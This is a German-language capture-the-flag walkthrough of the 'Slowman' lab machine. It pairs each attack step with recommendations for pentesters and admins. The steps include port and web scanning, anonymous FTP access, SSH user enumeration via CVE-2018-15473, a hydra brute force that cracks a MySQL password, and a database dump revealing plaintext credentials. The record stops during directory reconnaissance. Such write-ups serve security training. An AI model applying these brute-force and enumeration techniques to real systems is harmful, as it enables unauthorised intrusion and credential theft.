Analyse: Der Test beginnt mit einem `arp-scan -l`, um aktive Geräte im lokalen Netzwerk zu identifizieren.
Bewertung: Das Zielsystem "Slowman" wird mit der IP `192.168.2.113` und der MAC-Adresse `08:00:27:04:7d:c6` (Oracle VirtualBox) gefunden.
Empfehlung (Pentester): Ziel-IP notieren und für weitere Scans verwenden.
Empfehlung (Admin): Netzwerküberwachung auf ARP-Scans und Segmentierung implementieren.
192.168.2.113 08:00:27:04:7d:c6 PCS Systemtechnik GmbH
Analyse: Die `/etc/hosts`-Datei auf dem Angreifer-System wird bearbeitet, um der IP `192.168.2.113` den Hostnamen `slowman.hmv` zuzuweisen.
Bewertung: Die Zuordnung erleichtert die Handhabung in nachfolgenden Schritten.
Empfehlung (Pentester): Verwenden Sie den Hostnamen `slowman.hmv` für alle weiteren Aktionen.
Empfehlung (Admin): Lokale Angreifer-Konfiguration, keine direkte Auswirkung auf das Ziel.
127.0.0.1 localhost 192.168.2.113 slowman.hmv
Analyse: Der Webserver-Scanner `nikto` wird auf Port 80 des Ziels ausgeführt.
Bewertung: Nikto identifiziert Apache/2.4.52 (Ubuntu), meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`), ein mögliches ETag-Inode-Leak (CVE-2003-1418), eine veraltete Apache-Version und erlaubte HTTP-Methoden (inklusive des ungewöhnlichen `PTINS`). Wichtig ist auch, dass Directory Indexing für `/css/` und `/images/` gefunden wurde.
Empfehlung (Pentester): Untersuchen Sie die Verzeichnisse mit aktiviertem Directory Indexing. Notieren Sie die fehlenden Header und die veraltete Apache-Version für mögliche weitere Angriffe. Die `PTINS`-Methode ist ungewöhnlich und sollte genauer betrachtet werden.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader. Aktualisieren Sie Apache. Deaktivieren Sie Directory Indexing. Untersuchen und deaktivieren Sie ungewöhnliche HTTP-Methoden wie `PTINS`, falls nicht benötigt.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.113 + Target Hostname: 192.168.2.113 + Target Port: 80 + Start Time: 2023-12-04 23:28:11 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.52 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 402e, size: 60ad6afe32cc0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . + /css/: Directory indexing found. + /css/: This might be interesting. + /images/: Directory indexing found. + 8102 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2023-12-04 23:28:26 (GMT1) (15 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ein umfassender Nmap-Scan (`-sS -sV -A -T5 -p-`) wird auf das Ziel durchgeführt, um alle offenen Ports, Dienste, Versionen und das Betriebssystem zu ermitteln.
Bewertung: Nmap findet vier offene Ports: * **21/tcp (FTP):** vsftpd 3.0.5, anonymer Login erlaubt, aber Verzeichnisliste schlägt fehl (Timeout). * **22/tcp (SSH):** OpenSSH 8.9p1 (Ubuntu). * **80/tcp (HTTP):** Apache httpd 2.4.52 (Ubuntu), Seitentitel "Fastgym". * **3306/tcp (MySQL):** MySQL 8.0.35 (Ubuntu), Authentifizierungsplugin `caching_sha2_password`. Nmap liefert auch SSH-Hostkeys, OS-Vermutungen (Linux) und bestätigt die MAC-Adresse.
Empfehlung (Pentester): Untersuchen Sie jeden offenen Port: FTP (trotz Timeout beim Listing), SSH (Brute-Force, bekannte Schwachstellen), HTTP (Web-Enumeration) und MySQL (Versuch von Standard-/erratenen Logins, bekannte Schwachstellen). Der anonyme FTP-Zugang ist trotz des Listing-Problems interessant.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, wenn nicht benötigt. Härten Sie SSH und Apache. Stellen Sie sicher, dass MySQL nicht von außen erreichbar ist, wenn nicht notwendig, und verwenden Sie starke Passwörter. Halten Sie alle Dienste aktuell.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-04 23:28 CET Nmap scan report for slowman.hmv (192.168.2.113) Host is up (0.00020s latency). Not shown: 65530 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 20/tcp closed ftp-data 21/tcp open ftp vsftpd 3.0.5 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.199 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.5 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: TIMEOUT 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 02:d6:5e:01:45:5b:8d:2d:f9:cb:0b:df:45:67:04:22 (ECDSA) |_ 256 f9:ce:4a:75:07:d0:05:1d:fb:a7:a7:69:39:1b:08:10 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Fastgym 3306/tcp open mysql MySQL 8.0.35-0ubuntu0.22.04.1 | ssl-cert: Subject: commonName=MySQL_Server_8.0.35_Auto_Generated_Server_Certificate | Not valid before: 2023-11-22T19:44:52 |_Not valid after: 2033-11-19T19:44:52 |_ssl-date: TLS randomness does not represent time | mysql-info: | Protocol: 10 | Version: 8.0.35-0ubuntu0.22.04.1 | Thread ID: 14 | Capabilities flags: 65535 | Some Capabilities: SupportsTransactions, InteractiveClient, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, IgnoreSigpipes, LongColumnFlag, SwitchToSSLAfterHandshake, Support41Auth, SupportsLoadDataLocal, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, FoundRows, ConnectWithDatabase, ODBCClient, SupportsCompression, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments | Status: Autocommit | Salt: \x17j%%.\x12q\x10} | eKqD\x14 | [si` |_ Auth Plugin Name: caching_sha2_password MAC Address: 08:00:27:04:7D:C6 (Oracle VirtualBox virtual NIC) Device type: general purpose|storage-misc|WAP Running (JUST GUESSING): Linux 5.X|4.X|2.6.X|3.X (98%), HP embedded (89%), Ubiquiti AirOS 5.X (88%), Ubiquiti embedded (88%) OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/h:hp:p2000_g3 cpe:/o:ubnt:airos:5.2.6 cpe:/o:linux:linux_kernel:2.6.32 cpe:/h:ubnt:airmax_nanostation Aggressive OS guesses: Linux 5.0 - 5.4 (98%), Linux 4.15 - 5.8 (94%), Linux 5.1 (93%), Linux 2.6.32 - 3.13 (93%), Linux 2.6.39 (93%), Linux 5.0 - 5.5 (92%), Linux 2.6.22 - 2.6.36 (91%), Linux 3.10 - 4.11 (91%), Linux 5.0 (91%), Linux 3.10 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.20 ms slowman.hmv (192.168.2.113) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.85 seconds
Analyse: Der vorherige Nmap-Scan wird wiederholt, diesmal aber mit `| grep open`, um nur die offenen Ports zu listen.
Bewertung: Bestätigt die vier offenen Ports: 21 (FTP), 22 (SSH), 80 (HTTP), 3306 (MySQL).
Empfehlung (Pentester): Diese gefilterte Ansicht ist nützlich für einen schnellen Überblick.
Empfehlung (Admin): Keine neuen Erkenntnisse gegenüber dem vorherigen Scan.
21/tcp open ftp vsftpd 3.0.5 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) 3306/tcp open mysql MySQL 8.0.35-0ubuntu0.22.04.1
Analyse: `gobuster` wird für eine Verzeichnis- und Dateisuche auf `http://slowman.hmv` verwendet. Es nutzt eine umfangreiche Liste von Erweiterungen (`-x`) und eine gängige Wortliste (`directory-list-2.3-medium.txt`).
Bewertung: Gobuster findet die Standard-Webseiten-Dateien (`index.html`, `contact.html`, `why.html`) sowie die Asset-Verzeichnisse (`images`, `css`, `js`). Keine offensichtlich versteckten oder ungewöhnlichen Pfade werden in diesem Durchlauf entdeckt.
Empfehlung (Pentester): Analysieren Sie den Inhalt der gefundenen HTML-Dateien (Quellcode, sichtbarer Text). Untersuchen Sie die Verzeichnisse, für die Nikto Directory Indexing gemeldet hat (`/css/`, `/images/`).
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Informationen in den gefundenen Dateien/Verzeichnissen enthalten sind. Deaktivieren Sie Directory Indexing.
http://slowman.hmv/index.html (Status: 200) [Size: 16430] http://slowman.hmv/images (Status: 301) [Size: 311] [--> http://slowman.hmv/images/] http://slowman.hmv/contact.html (Status: 200) [Size: 5232] http://slowman.hmv/css (Status: 301) [Size: 308] [--> http://slowman.hmv/css/] http://slowman.hmv/js (Status: 301) [Size: 307] [--> http://slowman.hmv/js/] http://slowman.hmv/why.html (Status: 200) [Size: 6115]
Analyse: Mit `curl` wird eine HTTP-Anfrage mit der ungewöhnlichen Methode `PTINS` (von Nikto gemeldet) an den Webserver gesendet.
Bewertung: Der Server antwortet mit `200 OK` und listet `PST, PTINS, HEAD, GET` (vermutlich POST statt PST) im `Allow`-Header auf. Dies bestätigt, dass der Server diese ungewöhnliche Methode akzeptiert. Es ist unklar, was `PTINS` bewirkt, könnte aber auf eine Fehlkonfiguration oder eine versteckte Funktionalität hindeuten.
Empfehlung (Pentester): Versuchen Sie, die `PTINS`-Methode weiter zu untersuchen. Senden Sie Anfragen mit dieser Methode an verschiedene Endpunkte und analysieren Sie die Antworten. Es könnte sich um eine Methode handeln, die zur Umgehung von Sicherheitsmaßnahmen oder zur Ausführung bestimmter Aktionen missbraucht werden kann.
Empfehlung (Admin): Deaktivieren Sie alle nicht standardmäßigen und unnötigen HTTP-Methoden wie `PTINS` in der Apache-Konfiguration (`
* Trying 192.168.2.113:80... * Connected to 192.168.2.113 (192.168.2.113) port 80 > PTINS / HTTP/1.1 > Host: 192.168.2.113 > User-Agent: curl/8.4.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Mon, 04 Dec 2023 22:29:38 GMT < Server: Apache/2.4.52 (Ubuntu) < Allow: POST,PTINS,HEAD,GET < Content-Length: 0 < Content-Type: text/html < * Connection #0 to host 192.168.2.113 left intact
Analyse: Manuelle Untersuchung des Quellcodes verschiedener HTML-Seiten (`why.html`, `index.html`, `trainer.html`) und Notizen zur verwendeten Technologie-Stack.
Bewertung: Die Quellcode-Analyse ergibt eine E-Mail-Adresse (`slowman@gmail.com`) und zwei Trainernamen (`Jean Doe`, `Jeff Den`). Die Technologie-Stack-Analyse (Google Fonts, Apache, Ubuntu, CDNs, jQuery, Bootstrap etc.) liefert Kontext, aber keine direkten Schwachstellen.
Empfehlung (Pentester): Die E-Mail-Adresse könnte für Phishing oder als potenzieller Benutzername verwendet werden. Die Trainernamen (`jean`, `jeff`) sind potenzielle Benutzernamen für Brute-Force-Angriffe.
Empfehlung (Admin): Vermeiden Sie die Offenlegung von E-Mail-Adressen im Quellcode, wenn möglich. Seien Sie sich bewusst, dass öffentlich sichtbare Namen als Benutzernamen erraten werden können.
view-source:http://slowman.hmv/why.html slowman@gmail.com view-source:http://slowman.hmv/index.html Our Gym Trainers view-source:http://slowman.hmv/trainer.html Trainer Jean Doe Trainer Jeff Den Schrift Script Google Font API Web Server Apache HTTP Server 2.4.52 Betriebssysteme Ubuntu CDN cdnjs Cloudflare JavaScript Bibliotheken jQuery 3.4.1 OWL Carousel UI Frameworks Bootstrap 4.3.1
Analyse: Es wird versucht, sich remote am MySQL-Server (`slowman.hmv`, Port 3306) als Benutzer `root` ohne Passwort anzumelden.
Bewertung: Der Zugriff wird verweigert (`Access denied for user 'root'@'PC192-168-2-199'`). Dies zeigt, dass der MySQL-Server von extern erreichbar ist, aber der Root-Zugriff von dieser IP (oder generell von remote) nicht erlaubt ist oder ein Passwort erfordert.
Empfehlung (Pentester): Versuchen Sie, andere MySQL-Benutzernamen zu erraten oder zu finden (z.B. aus Webanwendungen, Konfigurationsdateien). Führen Sie Passwort-Brute-Force-Angriffe gegen gefundene Benutzernamen durch.
Empfehlung (Admin): Beschränken Sie den Zugriff auf den MySQL-Server nur auf notwendige Hosts (z.B. `localhost` oder spezifische Anwendungsserver). Verwenden Sie starke Passwörter für alle MySQL-Benutzer. Deaktivieren Sie den Root-Remote-Login.
ERROR 1045 (28000): Access denied for user 'root'@'PC192-168-2-199' (using password: NO)
Analyse: Anonymer Login auf dem FTP-Server (Port 21). Nach dem Login werden die Befehle `id` (nicht erlaubt) und `ls` ausgeführt.
Bewertung: Der anonyme Login ist erfolgreich. Im Gegensatz zum Nmap-Scan funktioniert das Auflisten des Verzeichnisses (`ls`) nun und zeigt eine Datei `allowedusersmysql.txt`. Der `id`-Befehl ist nicht erlaubt, was für FTP normal ist.
Empfehlung (Pentester): Die Datei `allowedusersmysql.txt` ist höchst interessant. Laden Sie sie sofort herunter und analysieren Sie den Inhalt.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff. Legen Sie niemals potenziell sensible Informationen wie Benutzerlisten in öffentlich zugänglichen Bereichen ab.
Connected to 192.168.2.113. 220 (vsFTPd 3.0.5) Name (192.168.2.113:cyber): Anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
550 Permission denied.
200 EPRT command successful. Consider using EPSV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 12 Nov 22 21:46 allowedusersmysql.txt 226 Directory send OK.
Analyse: Innerhalb der anonymen FTP-Sitzung wird versucht, eine Datei (`shell.sh`) hochzuladen (`put`). Es wird versucht, in verschiedene Verzeichnisse zu wechseln (`cd ~`, `cd /var`). Das aktuelle Verzeichnis wird geprüft (`pwd`) und die Zieldatei `allowedusersmysql.txt` heruntergeladen (`get`). Schließlich wird der Inhalt des aktuellen Verzeichnisses erneut detailliert aufgelistet (`ls -al`).
Bewertung: Der Upload schlägt fehl (Permission denied). Der Wechsel ins Wurzelverzeichnis (`/`) ist erfolgreich, aber der Wechsel nach `/var` schlägt fehl. Die Datei `allowedusersmysql.txt` wird erfolgreich heruntergeladen. Die Auflistung bestätigt, dass sich nur diese Datei im anonymen FTP-Root befindet.
Empfehlung (Pentester): Analysieren Sie die heruntergeladene Datei `allowedusersmysql.txt`. Der anonyme FTP scheint keine weiteren Angriffsflächen zu bieten.
Empfehlung (Admin): Korrekte Konfiguration, dass anonyme Benutzer keine Schreibrechte haben und nicht beliebig navigieren können. Die Existenz der Informationsdatei ist jedoch problematisch.
local: shell.sh remote: shell.sh 200 EPRT command successful. Consider using EPSV. 550 Permission denied.
250 Directory successfully changed.
Remote directory: /
550 Failed to change directory.
local: allowedusersmysql.txt remote: allowedusersmysql.txt 200 EPRT command successful. Consider using EPSV. 150 Opening BINARY mode data connection for allowedusersmysql.txt (12 bytes). 100% |***********************************| 12 23.57 KiB/s 00:00 ETA 226 Transfer complete. 12 bytes received in 00:00 (16.09 KiB/s)
200 EPRT command successful. Consider using EPSV. 150 Here comes the directory listing. drwxr-xr-x 2 0 121 4096 Nov 22 21:46 . drwxr-xr-x 2 0 121 4096 Nov 22 21:46 .. -rw-r--r-- 1 0 0 12 Nov 22 21:46 allowedusersmysql.txt 226 Directory send OK.
Analyse: Der Inhalt der heruntergeladenen Datei `allowedusersmysql.txt` wird mit `cat` angezeigt.
Bewertung: Die Datei enthält den Text `trainerjeff`. Dies ist höchstwahrscheinlich ein gültiger Benutzername für den MySQL-Dienst.
Empfehlung (Pentester): Verwenden Sie diesen Benutzernamen (`trainerjeff`) für Anmeldeversuche am MySQL-Dienst (Port 3306). Versuchen Sie Standardpasswörter oder führen Sie einen Brute-Force-Angriff mit Hydra durch.
Empfehlung (Admin): Speichern Sie niemals Benutzernamen oder andere sensible Daten in öffentlich zugänglichen Dateien.
trainerjeff
Analyse: Es wird versucht, sich per FTP als Benutzer `jeff` mit dem Passwort `trainerjeff` anzumelden.
Bewertung: Der Login schlägt fehl (`530 Login incorrect`). Der Benutzername oder das Passwort ist falsch für den FTP-Dienst.
Empfehlung (Pentester): Da `trainerjeff` explizit als MySQL-Benutzer identifiziert wurde, konzentrieren Sie die Angriffe mit diesem Namen auf MySQL.
Empfehlung (Admin): Keine spezifische Aktion, da der Login fehlschlug.
Connected to 192.168.2.113. 220 (vsFTPd 3.0.5) Name (192.168.2.113:cyber): jeff 331 Please specify the password. Password: trainerjeff 530 Login incorrect. ftp: Login failed
221 Goodbye.
Analyse: Es wird versucht, sich per SSH als Benutzer `jeff` mit verschiedenen Passwörtern (implizit, eines davon `trainerjeff`) anzumelden.
Bewertung: Die Login-Versuche schlagen fehl (`Permission denied`).
Empfehlung (Pentester): Konzentrieren Sie sich auf validierte Benutzernamen und systematische Passwort-Angriffe (z.B. Hydra), anstatt manuell zu raten.
Empfehlung (Admin): Überwachen Sie fehlgeschlagene SSH-Logins und blockieren Sie Brute-Force-Versuche (z.B. mit `fail2ban`).
The authenticity of host '192.168.2.113 (192.168.2.113)' can't be established. ED25519 key fingerprint is SHA256:gyWF404zV4bL8gskLfXbChI0buZepNktuMGUNM23CHQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.113' (ED25519) to the list of known hosts. jeff@192.168.2.113's password: Permission denied, please try again. jeff@192.168.2.113's password: trainerjeff Permission denied, please try again. jeff@192.168.2.113's password:
Analyse: Ein Python-Skript (`ssh-username-enum.py`, vermutlich basierend auf CVE-2018-15473) wird zur SSH-Benutzer-Enumeration verwendet. Es nutzt eine Wortliste (`../users.txt`) und ein Timeout (`-t 10`).
Bewertung: Das Skript identifiziert eine lange Liste potenziell gültiger Benutzernamen auf dem SSH-Server, darunter die bereits bekannten `mike`, `trainerjeff` und `jeff`, sowie viele andere wie `daniel`, `ben`, `jean`, etc. Einige Benutzernamen führen zu Fehlern (`SSH negotiation failed`).
Empfehlung (Pentester): Diese Liste erweitert die Anzahl der potenziellen Ziele für SSH-Brute-Force-Angriffe erheblich. Priorisieren Sie Namen, die im Kontext der Maschine sinnvoll erscheinen (`trainerjeff`, `jean`, `jeff`).
Empfehlung (Admin): Aktualisieren Sie OpenSSH auf eine Version, die nicht für CVE-2018-15473 anfällig ist, oder konfigurieren Sie es so, dass diese Art der Enumeration erschwert wird.
[+] OpenSSH version 8.9 found [+] mike found! [+] danie found! [+] dany found! [+] morre found! [+] dani found! [+] daniel found! [!] SSH negotiation failed for user johny. [+] dan found! [+] joe found! [!] SSH negotiation failed for user doe. [+] trainerjeff found! [+] jeff found! [+] ben found! [+] john found! [+] benny found! [+] benni found! [+] jeand found! [+] jeff.d found! [+] den found! [+] johnny found! [+] jean found! [+] jean.d found! [+] laura found! [+] jeffd found! [+] found!
Analyse: Ein weiterer `dirb`-Scan wird durchgeführt, scheinbar mit denselben Parametern wie zuvor.
Bewertung: Die Ausgabe ist unvollständig, scheint aber dieselben Ergebnisse wie der vorherige `dirb`-Scan zu liefern (`/css`, `/images`, `index.html`, `/js`, `/server-status`). Keine neuen Erkenntnisse.
Empfehlung (Pentester): Vermeiden Sie redundante Scans, es sei denn, es gibt einen Grund zur Annahme, dass sich etwas geändert hat oder andere Parameter verwendet werden.
Empfehlung (Admin): Keine spezifische Aktion.
---- Scanning URL: http://slowman.hmv/ ---- ==> DIRECTORY: http://slowman.hmv/css/ ==> DIRECTORY: http://slowman.hmv/images/ + http://slowman.hmv/index.html (CODE:200|SIZE:16430) ==> DIRECTORY: http://slowman.hmv/js/ + http://slowman.hmv/server-status (CODE:403|SIZE:276)
Analyse: Ein Nmap-Scan wird mit dem NSE-Skript `ftp-vsftpd-backdoor` auf Port 21 durchgeführt, um auf eine bekannte Backdoor in vsftpd Version 2.3.4 zu prüfen.
Bewertung: Der Scan findet den offenen FTP-Port, aber das Skript liefert keine positive Ausgabe, was bedeutet, dass die spezifische Backdoor (die ohnehin nur Version 2.3.4 betrifft, hier läuft 3.0.5) nicht vorhanden ist.
Empfehlung (Pentester): Das Ausschließen bekannter Backdoors ist Teil des Prozesses. Konzentrieren Sie sich auf andere Angriffsvektoren für vsftpd 3.0.5 oder den anonymen Zugriff.
Empfehlung (Admin): Gut, dass diese spezifische Backdoor nicht vorhanden ist. Halten Sie Software dennoch aktuell.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-05 00:16 CET Nmap scan report for slowman.hmv (192.168.2.113) Host is up (0.00020s latency). PORT STATE SERVICE 21/tcp open ftp MAC Address: 08:00:27:04:7D:C6 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
Analyse: Dieser Block zeigt Details einer HTTP-Anfrage an `leostop.com`, die mit einem `503 Service Unavailable` beantwortet wurde. Die Header deuten auf Cloudflare als Server hin. Die Anfrage scheint von einem Browser (Firefox 115) zu stammen.
Bewertung: Dies scheint eine externe Tracking- oder Werbeanfrage zu sein, die von der `slowman.hmv`-Webseite ausgelöst wurde, aber fehlgeschlagen ist. Sie steht wahrscheinlich nicht in direktem Zusammenhang mit Schwachstellen auf dem Zielserver selbst, sondern mit extern eingebundenen Ressourcen.
Empfehlung (Pentester): Notieren Sie die externe Domain für OSINT-Zwecke, aber fokussieren Sie sich primär auf den Zielserver. Manchmal können Schwachstellen in Drittanbieter-Skripten relevant sein, aber ein 503-Fehler deutet eher auf ein Problem beim Drittanbieter hin.
Empfehlung (Admin): Überprüfen Sie externe Skripte, die auf Ihrer Webseite eingebunden sind, auf Notwendigkeit und Sicherheit. Fehlerhafte externe Ressourcen können die Ladezeiten oder Funktionalität beeinträchtigen.
GET https://leostop.com/tracking/tracking.js?_=1701732105529 Status 503 Service Unavailable VersionHTTP/2 Übertragen1,22 kB (584 B Größe) Referrer Policystrict-origin-when-cross-origin alt-svc h3=":443"; ma=86400 cf-cache-status BYPASS cf-ray 8307c9fc9eb330e4-FRA content-type text/html date Mon, 04 Dec 2023 23:22:01 GMT last-modified Tue, 15 Mar 2022 21:40:09 GMT nel {"success_fraction":0,"report_to":"cf-nel","max_age":604800} report-to {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=s2jHVmcusEWAXRk756CgfuafgXPmNshSofWhmePdo9L5GUr%2BBBXBHWh36T0Tn9JK2AwWwwb%2BsMeMQsbhEhXuZ%2FwV%2BuF9dlkpJvVsNRofMdCp6APsJE7VEgbSa9yQC9%2FmF14kPw%2F%2Ffk7SYA%3D%3D"}],"group":"cf-nel","max_age":604800} server cloudflare User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Analyse: `hydra` wird verwendet, um das Passwort für den MySQL-Benutzer `trainerjeff` (gefunden in `allowedusersmysql.txt`) zu knacken. Als Passwortliste dient `rockyou.txt`. Hydra reduziert die Threads (`-t 4`), da MySQL oft keine hohe Parallelität mag.
Bewertung: Hydra ist erfolgreich und findet das Passwort `soccer1` für den MySQL-Benutzer `trainerjeff`.
Empfehlung (Pentester): Nutzen Sie diese Zugangsdaten, um sich bei der MySQL-Datenbank anzumelden und nach weiteren Informationen (Benutzerdaten, Konfigurationen, Webseiten-Daten) zu suchen.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für Datenbankbenutzer. Beschränken Sie die Berechtigungen von Datenbankbenutzern auf das absolut Notwendige.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-07 12:26:20
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344484 login tries (l:1/p:14344484), ~3586121 tries per task
[DATA] attacking mysql://192.168.2.113:3306/
[3306][mysql] host: 192.168.2.113 login: trainerjeff password: soccer1
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-07 12:26:40
Analyse: Mit den gefundenen Zugangsdaten (`trainerjeff`:`soccer1`) wird eine Verbindung zur MySQL-Datenbank auf `slowman.hmv` hergestellt. Nach erfolgreicher Anmeldung werden die Datenbanken (`show databases;`), die `trainers_db` ausgewählt (`use trainers_db;`), die Tabellen darin angezeigt (`show tables;`) und der Inhalt der `users`-Tabelle abgefragt (`select * from users;`).
Bewertung: Die Datenbank `trainers_db` enthält eine Tabelle `users`. Diese Tabelle enthält zwei Einträge: 1. Benutzer `gonzalo` mit dem Passwort `tH1sS2stH3g0nz4l0pAsSWW0rDD!!`. 2. Einen Eintrag `$SECRETLGINURL` mit dem Wert `/secretLGIN/login.html`. Dies sind extrem wertvolle Funde: Zugangsdaten für einen anderen Benutzer (`gonzalo`) und ein Hinweis auf einen versteckten Login-Bereich.
Empfehlung (Pentester): Versuchen Sie sofort, sich mit den Zugangsdaten von `gonzalo` per SSH anzumelden. Untersuchen Sie den Pfad `/secretLGIN/login.html` auf dem Webserver.
Empfehlung (Admin): Speichern Sie Passwörter niemals im Klartext in Datenbanken; verwenden Sie stattdessen starke Hashing-Verfahren (z.B. bcrypt, Argon2). Beschränken Sie die Berechtigungen des Benutzers `trainerjeff` auf das Nötigste. Verstecken Sie Login-Pfade nicht nur durch obskure URLs, sondern sichern Sie sie angemessen.
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 1235
Server version: 8.0.35-0ubuntu0.22.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| trainers_db |
+--------------------+
5 rows in set (0.003 sec)
MySQL [(none)]> use trainers_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [trainers_db]> show tables;
+-----------------------+
| Tables_in_trainers_db |
+-----------------------+
| users |
+-----------------------+
1 row in set (0.001 sec)
MySQL [trainers_db]> select * from users;
+----+-----------------+------------------------------------------+
| id | user | password |
+----+-----------------+------------------------------------------+
| 1 | gonzalo | tH1sS2stH3g0nz4l0pAsSWW0rDD!! |
| 2 | $SECRETLGINURL | /secretLGIN/login.html |
+----+-----------------+------------------------------------------+
2 rows in set (0.001 sec)
MySQL [trainers_db]>
Analyse: Es wird versucht, eine Datei `credentials.zip` aus einem Pfad `/secretgym/serverSHARE/` herunterzuladen. Der Pfad `/secretgym/` wurde vermutlich aus dem JavaScript oder durch Raten abgeleitet. Der `curl`-Befehl mit `-I` oder `-v HEAD` sendet eine HEAD-Anfrage, um Metadaten der Datei zu prüfen.
Bewertung: Der Server antwortet mit `200 OK`, was bestätigt, dass die Datei `http://slowman.hmv/secretgym/serverSHARE/credentials.zip` existiert und zugänglich ist. Die Metadaten zeigen, dass es sich um eine ZIP-Datei mit einer Größe von 309 Bytes handelt.
Empfehlung (Pentester): Laden Sie die `credentials.zip` sofort mit `wget` oder `curl` herunter und untersuchen Sie ihren Inhalt. ZIP-Dateien können passwortgeschützt sein.
Empfehlung (Admin): Legen Sie niemals sensible Dateien wie `credentials.zip` ungeschützt in Webserver-Verzeichnissen ab. Sichern Sie solche Bereiche mit Authentifizierung und Zugriffskontrollen.
* Trying 192.168.2.113:80... * Connected to slowman.hmv (192.168.2.113) port 80 > HEAD /secretgym/serverSHARE/credentials.zip HTTP/1.1 > Host: slowman.hmv > User-Agent: curl/8.4.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Tue, 05 Dec 2023 14:47:43 GMT < Server: Apache/2.4.52 (Ubuntu) < Last-Modified: Wed, 22 Nov 2023 19:49:52 GMT < ETag: "135-60ac305cb4925" < Accept-Ranges: bytes < Content-Length: 309 < Content-Type: application/zip < * Connection #0 to host slowman.hmv left intact
Analyse: Dieser Block scheint eine Zusammenfassung von Verzeichnis-Scan-Ergebnissen zu sein, möglicherweise aus einem anderen Tool oder einer manuellen Zusammenstellung. Er listet die bereits bekannten Seiten sowie die neu entdeckten Verzeichnisse `/secretLGIN/` und `/secretgym/`, inklusive des Unterverzeichnisses `/secretgym/serverSHARE/` und der Dateien darin (`credentials.zip`) und im Login-Bereich (`l0gin.php`, `l0gin.js`, `login.html`).
Bewertung: Bestätigt die Existenz der versteckten Bereiche und der interessanten Dateien darin.
Empfehlung (Pentester): Fokussieren Sie die Untersuchung auf die Inhalte von `/secretLGIN/` und `/secretgym/`, insbesondere die Login-Funktionalität und die ZIP-Datei.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit und Sicherheit dieser versteckten Bereiche.
